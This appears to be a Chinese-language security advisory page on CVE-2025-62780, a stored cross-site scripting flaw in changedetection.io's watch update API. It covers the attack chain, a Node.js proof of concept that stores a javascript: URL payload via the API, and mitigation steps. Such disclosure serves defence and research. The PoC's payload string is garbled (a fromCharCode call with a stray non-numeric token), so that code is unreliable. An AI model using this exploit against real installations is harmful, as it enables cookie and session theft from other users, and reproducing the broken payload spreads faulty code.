IPBUF安全漏洞报告
English
CVE-2025-62780 CVSS 3.5 低危

CVE-2025-62780: changedetection.io 存储型XSS漏洞

披露日期: 2025-11-10

漏洞信息

漏洞编号
CVE-2025-62780
漏洞类型
存储型跨站脚本(XSS)
CVSS评分
3.5 低危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
changedetection.io

相关标签

CVE-2025-62780存储型XSS跨站脚本changedetection.ioWeb应用安全API安全JavaScript注入

漏洞概述

changedetection.io是一款免费的开源网页变更检测工具。该工具在0.50.34版本之前存在存储型跨站脚本漏洞(Stored XSS),漏洞位于Watch更新API中,由于安全检查不足导致。攻击者可以通过两种方式利用此漏洞:一是插入新的watch并使用任意URL,然后在内容被获取后将URL更新为JavaScript payload;二是替换现有watch的URL为恶意的JavaScript payload。当用户点击Preview并访问恶意链接时,攻击者注入的JavaScript代码将会在受害者浏览器中执行,可能导致会话劫持、敏感信息窃取等安全问题。该漏洞需要攻击者具有高权限(PR:H)并需要用户交互(UI:R)才能成功利用。

技术细节

漏洞根源在于changedetection.io的Watch更新API对用户输入的URL参数缺乏充分的输入验证和输出编码。攻击者利用存储型XSS的特性,将恶意JavaScript代码存储在系统数据库中。攻击过程分为两个阶段:第一阶段,攻击者创建一个正常的watch,使用合法的URL让系统抓取网页内容,建立信任;第二阶段,攻击者将URL替换为JavaScript协议形式的payload(如javascript:alert(document.cookie))。由于系统未对URL进行安全过滤,该payload会被永久存储。当其他用户访问该watch并点击Preview功能时,恶意JavaScript会在用户上下文中执行,窃取Cookie、Session或执行其他恶意操作。漏洞的CVSS评分为3.5(低危),攻击复杂度低,但需要高权限用户操作,且必须依赖用户交互。

攻击链分析

STEP 1
步骤1
攻击者获取changedetection.io的高权限账户访问权限
STEP 2
步骤2
攻击者通过Watch创建API插入一个新的watch,使用合法URL(如https://example.com)作为初始URL,让系统正常抓取内容
STEP 3
步骤3
攻击者通过Watch更新API将URL字段更新为JavaScript payload(如javascript:alert(document.cookie))
STEP 4
步骤4
系统将恶意的URL存储在数据库中,由于缺乏输入验证,JavaScript协议未被过滤或编码
STEP 5
步骤5
受害用户访问该watch,点击Preview功能,系统渲染包含恶意链接的页面
STEP 6
步骤6
受害用户点击恶意链接,浏览器执行注入的JavaScript代码,导致Cookie/Session窃取或其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-62780 PoC - Stored XSS in changedetection.io Watch Update API // Attack Scenario 1: Create new watch then update URL const axios = require('axios'); // Configuration const TARGET_URL = 'http://target-changedetection.io'; const ATTACKER_TOKEN = 'your-api-token'; // Malicious JavaScript payload const xssPayload = "javascript:alert(String.fromCharCode(88,83,83,80,111,99,101avalable))"; async function exploit() { console.log('[+] CVE-2025-62780 PoC - changedetection.io Stored XSS'); // Step 1: Create a watch with a legitimate URL const createWatch = await axios.post(`${TARGET_URL}/api/v1/watch`, { url: 'https://example.com', title: 'Legitimate Watch' }, { headers: { 'Authorization': `Bearer ${ATTACKER_TOKEN}` } }); const watchId = createWatch.data.id; console.log(`[+] Created watch with ID: ${watchId}`); // Step 2: Update the URL with XSS payload const updateWatch = await axios.patch(`${TARGET_URL}/api/v1/watch/${watchId}`, { url: xssPayload }, { headers: { 'Authorization': `Bearer ${ATTACKER_TOKEN}` } }); console.log('[+] XSS payload stored successfully'); console.log(`[+] When user clicks Preview on watch ${watchId}, XSS will execute`); } exploit().catch(console.error);

影响范围

changedetection.io < 0.50.34

防御指南

临时缓解措施
如果无法立即升级,可临时措施包括:1) 限制高权限API的访问,仅允许受信任的管理员使用;2) 在反向代理层实施URL过滤规则,阻止javascript:等协议;3) 提醒用户不要随意点击来源不明的Preview链接;4) 启用审计日志监控异常的Watch创建和修改行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表